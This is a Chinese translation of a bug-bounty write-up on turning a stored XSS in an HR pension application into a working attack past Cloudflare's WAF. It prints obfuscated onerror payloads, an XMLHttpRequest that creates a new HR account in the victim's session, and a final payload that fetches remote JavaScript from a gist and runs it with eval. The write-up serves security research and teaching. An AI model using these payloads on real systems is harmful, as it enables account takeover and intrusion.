还是在测试漏洞赏金计划时,我注意到我的<u>html injection</u>
payload在将其发送到应用程序中反映的每个字段时都有效。然后,我第一次收到弹框的冲动让<img src=x onerror=alert()>
我失望了。Alert()
被cloudflare WAF阻止。所以,我使用console.log()了它,它被接受并执行了。当我必须构建一个显示此 XSS 影响其他用户的 PoC 时,就会出现问题。
此应用程序是为人力资源部门构建的,用于管理员工的养老金。员工自己无权访问该应用程序。唯一的授权差异发生在主 HR 帐户和子 HR 帐户之间。
1. 只读访问 2. 标准访问
具有标准访问权限的子 HR 帐户可以创建、编辑、删除员工记录。但是,它不能创建新的子 HR 帐户。仅允许主 HR 帐户这样做。
因此,在我们的攻击场景中,我们有一个子 HR 帐户。我们会将员工姓名编辑为将存储的 XSS 有效负载。我们的受害者,一个主 HR 帐户访问Income Decl.
导致我们的有效负载执行的选项卡。它POST
请求/hrusers/add
创建新的子 HR 帐户。
这里是执行 XSS 的页面。有关公司的信息将根据他们的要求进行编辑。
POST /hrusers/add
最初看起来像这样的核心(删除了一些标题以增加可读性):POST /hrusers/add HTTP/1.1
Host: www.app.tld
Cookie: auth=secret;
Content-Length: 976
Origin: https://www.app.tld
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycItg8YvLxAC5Af6g
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://www.app.tld/
Connection: close
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="_method"
POST
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][first_name]"
john
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][last_name]"
doe
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][email_address]"
[email protected]
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][username]"
ne555-blog
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][password]"
testpass123!
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][conf_password]"
testpass123!
------WebKitFormBoundarycItg8YvLxAC5Af6g
Content-Disposition: form-data; name="data[User][role_type]"
0
------WebKitFormBoundarycItg8YvLxAC5Af6g--
302 Found
请求成功后返回。script
标签,但它被 cloudflare 阻止了。XMLHttpRequest
. 但是,它也被阻止了。<img src=x onerror="poc = new XMLHttpRequest()">
fetch()
被屏蔽了。所以我开始寻找一种以某种方式对其进行编码的方法。我想使用aurebesh.js[https://aem1k.com/aurebesh.js/]很长时间了。这似乎是一个很好的用例。这是完整的有效载荷:<img src=x onerror="a='',b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+'(a)')()">
top["al"+"ert"](1);
有效载荷确实有效。我可以潜入这样的危险功能。multipart/form-data
请求application/x-www-form-urlencoded
,POST /hrusers/add
我就不必处理边界问题。尽管 Burp Suite 的change body encoding
功能和服务器接受了请求,但我还是这样做了。body = `_method=POST&data%5bUser%5d%5bfirst_name%5d=john&data%5bUser%5d%5blast_name%5d=doe&data%5bUser%5d%5bemail_address%5d=ne555%[email protected]&data%5bUser%5d%5busername%5d=ne555-blog&data%5bUser%5d%5bpassword%5d=testpass123%21&data%5bUser%5d%5bconf_password%5d=testpass123%21&data%5bUser%5d%5brole_type%5d=0`;
poc = new XMLHttpRequest();
poc.open(`POST`,`/hrusers/add`, true);
poc.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`);
poc.withCredentials = true;
poc.send(body);
eval()
. 有效负载创建是有问题的,因为它位于事件处理程序内部并且由许多层组成。gist 中的所有字符串都必须使用撇号创建。<img src="x" onerror="top[`fet`+`ch`]('https://gist.githubusercontent.com/Hubbey/84d413e76dd833b42eb0281b9d7191fa/raw/e08425e18d85b10e82dc6ba4bc25b0df08321000/blog').then(response =>response.text()).then((body) =>{top[`ev`+`al`](body);})">
文章来源于:
https://infosecwriteups.com/bypassing-waf-to-weaponize-a-stored-xss-ff9963c421ee
由HACK学习君翻译整理
注:如有侵权请联系删除
学习更多技术,关注我: